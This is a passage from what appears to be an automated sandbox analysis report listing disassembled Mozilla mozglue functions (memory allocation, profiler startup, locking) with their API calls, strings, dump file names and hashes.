Instruction Fuzzy Hash: 06210A71600205DBDB00CF6ACC80BAABBB9FF86304F244029F915DB741E735D911D7A9

Function 6C6C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6C6E78

Part of subcall function 6C6C6A10: InitializeCriticalSection.KERNEL32(6C6EF618), ref: 6C6C6A68
Part of subcall function 6C6C6A10: GetCurrentProcess.KERNEL32 ref: 6C6C6A7D
Part of subcall function 6C6C6A10: GetCurrentProcess.KERNEL32 ref: 6C6C6AA1
Part of subcall function 6C6C6A10: EnterCriticalSection.KERNEL32(6C6EF618), ref: 6C6C6AAE
Part of subcall function 6C6C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6C6AE1
Part of subcall function 6C6C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6C6B15
Part of subcall function 6C6C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6C6B65
Part of subcall function 6C6C6A10: LeaveCriticalSection.KERNEL32(6C6EF618,?,?), ref: 6C6C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6C6EFF

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 524dc4c7a01734a6c6b2685c19e978ea962f2481954031988bc10feaaabdface
Instruction ID: 6c512c29184424433fa6311cb8fd64ed8539fe022739348958cbdd85389a065b
Opcode Fuzzy Hash: 524dc4c7a01734a6c6b2685c19e978ea962f2481954031988bc10feaaabdface
Instruction Fuzzy Hash: BC21A471A0431A9FDF10CF69D8C56AE77F5EF89308F044439E80997241EB709A59CF9A

Function 6C6A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C663DEF), ref: 6C6A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C663DEF), ref: 6C6A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C663DEF), ref: 6C6A0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C6A0D97, 6C6A0DBE
<jemalloc>, xrefs: 6C6A0D92, 6C6A0DB9

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: bc3715c4b2dc47d5daacd596bb2346d2786cf32c6f4621077c7cd7631c5d16ac
Instruction ID: 4ab06fa16d78b7b3f0b9bf6a9ee0e1a6eece856121c97a5317cb5904c57d2fae
Opcode Fuzzy Hash: bc3715c4b2dc47d5daacd596bb2346d2786cf32c6f4621077c7cd7631c5d16ac
Instruction Fuzzy Hash: CAF0E03238539423D61425E61C09B57379D67C6B55F304037F205DA9C0DA54EC06866D

Function 6C6B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6B75C4,?), ref: 6C6B762B

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6B74D7,6C6C15FC,?,?,?), ref: 6C6B7644
GetCurrentThreadId.KERNEL32 ref: 6C6B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6B74D7,6C6C15FC,?,?,?), ref: 6C6B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6B74D7,6C6C15FC,?,?,?), ref: 6C6B7677

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6f88f8180e20512a752cc5bc9d788b5214aca7960e3bc4ab567181db63ad9ee9
Instruction ID: 427c222a20bb27bbec0224d67d531132722d0dac5a59ec604a6ae2dcbbcc599f
Opcode Fuzzy Hash: 6f88f8180e20512a752cc5bc9d788b5214aca7960e3bc4ab567181db63ad9ee9
Instruction Fuzzy Hash: 5CF0AF71E14746ABD7008F22C888676B778FFEA299F214317F90542601E7B0A5D18BD8

Function 6C68D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

EnterCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D4F2
LeaveCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D50B

Part of subcall function 6C66CFE0: EnterCriticalSection.KERNEL32(6C6EE784), ref: 6C66CFF6
Part of subcall function 6C66CFE0: LeaveCriticalSection.KERNEL32(6C6EE784), ref: 6C66D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D52E
EnterCriticalSection.KERNEL32(6C6EE7DC), ref: 6C68D690
LeaveCriticalSection.KERNEL32(6C6EE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C69D1C5), ref: 6C68D751

Strings

MOZ_CRASH(), xrefs: 6C68D4BB

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 605f2b11f9815812f61f13e04483674bd97e9738a0d200fa29ef3dd1d6f2eda9
Instruction ID: 0b476c4862c2bc1e47e66b7bcf5955cbf91a51474a2e25ab7c77fcff331392b8
Opcode Fuzzy Hash: 605f2b11f9815812f61f13e04483674bd97e9738a0d200fa29ef3dd1d6f2eda9
Instruction Fuzzy Hash: 8B510671A097068FD764CF29C09025AB7F1EB8E304F24892FD59AC7B84D770D840CBAA

Function 6C6B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B4721

Strings

profiler-paused, xrefs: 6C6B46E4
-%llu, xrefs: 6C6B4733
., xrefs: 6C6B476A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4bcbe5cec0f97ce27f1ee3bdd09d70b3349971e0f48277c1a68dc141ff260844
Instruction ID: 5197d91abe973e08be94ed22a25f2465935890364545ecec1cc013563b3d297e
Opcode Fuzzy Hash: 4bcbe5cec0f97ce27f1ee3bdd09d70b3349971e0f48277c1a68dc141ff260844
Instruction Fuzzy Hash: C8418B71E087089BCB08DF79E89116EBBF5EF86344F10863EE84567741EB709854C79A

Function 6C6B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B4721

Part of subcall function 6C664410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C6A3EBD,00000017,?,00000000,?,6C6A3EBD,?,?,6C6642D2), ref: 6C664444

Strings

profiler-paused, xrefs: 6C6B46E4
-%llu, xrefs: 6C6B4733
., xrefs: 6C6B476A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 88a9c9cc275a8785b961390c9c5376f4a1be0b86324c8fe10a4b5e03c3087b7b
Instruction ID: ae7aeb36674a8be656402aaaeb1c19b7918ecf4c30f3f94f03a1e1b78296df2a
Opcode Fuzzy Hash: 88a9c9cc275a8785b961390c9c5376f4a1be0b86324c8fe10a4b5e03c3087b7b
Instruction Fuzzy Hash: 33312D71F042085BCB0CCF6DD8916AD7BE6DB89314F15453EE805AB741E7B09814CB99

Function 6C6BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C6A3EBD,6C6A3EBD,00000000), ref: 6C6642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6BB127), ref: 6C6BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6BB4E4

Strings

pid:, xrefs: 6C6BB4DE

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7e71c3f771813ed576115aa76e4440b4b55902fd16007a992a3b61abc040ac3b
Instruction ID: f7f64599bba3959c88681c6854e4ea64722702b05bcec3d1fa459a5676ffc149
Opcode Fuzzy Hash: 7e71c3f771813ed576115aa76e4440b4b55902fd16007a992a3b61abc040ac3b
Instruction Fuzzy Hash: 95311331A012089BDB10DFAAD8C0AEEF7B5FF89318F540529D80677A41D771A865CBE9

Function 6C6AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AE577
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AE584
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C6AE5A1, 6C6AE5CC, 6C6AE5FF, 6C6AE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C6AE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C6AE722, 6C6AE750, 6C6AE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C6AE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6AE826, 6C6AE850

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f163896805502787ea881aed622ae2575046ed478a1cbdec7380c3c44fc495c7
Instruction ID: 758691023c4592c3c3a65a4fb22af2d6a0acb752f51a09f8cfd22815643c26f2
Opcode Fuzzy Hash: f163896805502787ea881aed622ae2575046ed478a1cbdec7380c3c44fc495c7
Instruction Fuzzy Hash: 5D11E131608244DFCB009F16D888A69BBB4FFCD328F00091AE84147641C770A806CFDE

Function 6C6B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6B0CD5

Part of subcall function 6C69F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C69F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6B0D40
free.MOZGLUE ref: 6C6B0DCB

Part of subcall function 6C685E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C685EDB
Part of subcall function 6C685E90: memset.VCRUNTIME140(ewll,000000E5,?), ref: 6C685F27
Part of subcall function 6C685E90: LeaveCriticalSection.KERNEL32(?), ref: 6C685FB2

free.MOZGLUE ref: 6C6B0DDD
free.MOZGLUE ref: 6C6B0DF2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 2f9d9899d033eab1d98e8fb6852777f761fa807e4e8597faf7a4096b47613a2f
Instruction ID: 442ed24c0c696781d5d9436144a96d1af4d02d9a1024eebd70f85fca8989bcd9
Opcode Fuzzy Hash: 2f9d9899d033eab1d98e8fb6852777f761fa807e4e8597faf7a4096b47613a2f
Instruction Fuzzy Hash: 1E4158B19097849BD320CF29C18039EFBE1BFC9714F118A2EE8D897750D770A455CB9A

Function 6C6BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BCDA4

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

Part of subcall function 6C6BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6BCDBA,00100000,?,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BD158
Part of subcall function 6C6BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6BCDBA,00100000,?,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BCDC4

Part of subcall function 6C6B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6C15FC,?,?,?,?,6C6C15FC,?), ref: 6C6B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BCECC

Part of subcall function 6C67CA10: mozalloc_abort.MOZGLUE(?), ref: 6C67CAA2

Part of subcall function 6C6ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6BCEEA,?,?,?,?,00000000,?,6C6ADA31,00100000,?,?,00000000), ref: 6C6ACB57
Part of subcall function 6C6ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C6ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6BCEEA,?,?), ref: 6C6ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C6ADA31,00100000,?,?,00000000,?), ref: 6C6BD058

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: d5f5427761d057fd9866530d1ad0ec2b997c93f28f0ed4f37096819fdbd36533
Instruction ID: 1b50d1f9372ccff391fa0d86c5851b896f017794781b5af5c73abc4a38eb786b
Opcode Fuzzy Hash: d5f5427761d057fd9866530d1ad0ec2b997c93f28f0ed4f37096819fdbd36533
Instruction Fuzzy Hash: 76D16D71A04B069FD708CF28C480B99F7E1BF89308F01866DD9599B712EB31E9A5CBD5

Function 6C685C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C685D40
EnterCriticalSection.KERNEL32(6C6EF688), ref: 6C685D67
__aulldiv.LIBCMT ref: 6C685DB4
LeaveCriticalSection.KERNEL32(6C6EF688), ref: 6C685DED

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 0fcf1172742918c404c68aa67b3229b812bb4577d56ea0468360cfa1678f83ec
Instruction ID: d0ae81013fd24e68a93da4c91a3783253cd331bf9c07f5cc895f59b6eca299c6
Opcode Fuzzy Hash: 0fcf1172742918c404c68aa67b3229b812bb4577d56ea0468360cfa1678f83ec
Instruction Fuzzy Hash: D751A271E052298FDF08CFA9C894ABEBBF1FB89304F19861EC811A7750C7706945CB99

Function 6C66CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C66CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C66CF4E

Strings

0, xrefs: 6C66CF30

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a4dde622941e02efd2f9657ebfbab649de4cd73bbcbcb8b789160a245eb98da3
Instruction ID: d8357d909062ec389d9b7dc068afd6f884e220871968cbec8d29f4dfc5af5f34
Opcode Fuzzy Hash: a4dde622941e02efd2f9657ebfbab649de4cd73bbcbcb8b789160a245eb98da3
Instruction Fuzzy Hash: 65512471A0465A9FCB00CF19C490A9ABBB5EF99300F19859DD85A5F751D331FD06CBE0

Function 6C6A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6A82BC,?,?), ref: 6C6A649B

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A64A9

Part of subcall function 6C69FA80: GetCurrentThreadId.KERNEL32 ref: 6C69FA8D
Part of subcall function 6C69FA80: AcquireSRWLockExclusive.KERNEL32(6C6EF448), ref: 6C69FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A653F
free.MOZGLUE(?), ref: 6C6A655A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9bd4c3b1f6d7178211ced592c34cb4269e314548638d58edce8fe75a295e1098
Instruction ID: e978979af6eddc93390778f3cb60c05140a6781940b19964722b5ccd834aebe2
Opcode Fuzzy Hash: 9bd4c3b1f6d7178211ced592c34cb4269e314548638d58edce8fe75a295e1098
Instruction Fuzzy Hash: E5316FB5A043059FD740CF25D884A9ABBF4BF89314F00482EE85A97741DB30E919CB9A

Function 6C67B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C67B4F5
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C67B502
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C67B542
free.MOZGLUE(?), ref: 6C67B578

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e0ad210da896513d2c96b5ae75ccdb533b02229ee16e16f800b088a957a410d1
Instruction ID: 9e7ff158cd0615c2ba48689973e3c821596c05290e08da5d1bb22f466020f9df
Opcode Fuzzy Hash: e0ad210da896513d2c96b5ae75ccdb533b02229ee16e16f800b088a957a410d1
Instruction Fuzzy Hash: DE11DA31908B45C7E7228F29D4447A5B3B1FFDA318F145B0BD84953A02EB71B1D58BAD

Function 6C6A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C66F20E,?), ref: 6C6A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C66F20E,00000000,?), ref: 6C6A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C6A3E0E

Part of subcall function 6C69CC00: GetCurrentProcess.KERNEL32(?,?,6C6631A7), ref: 6C69CC0D
Part of subcall function 6C69CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6631A7), ref: 6C69CC16

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

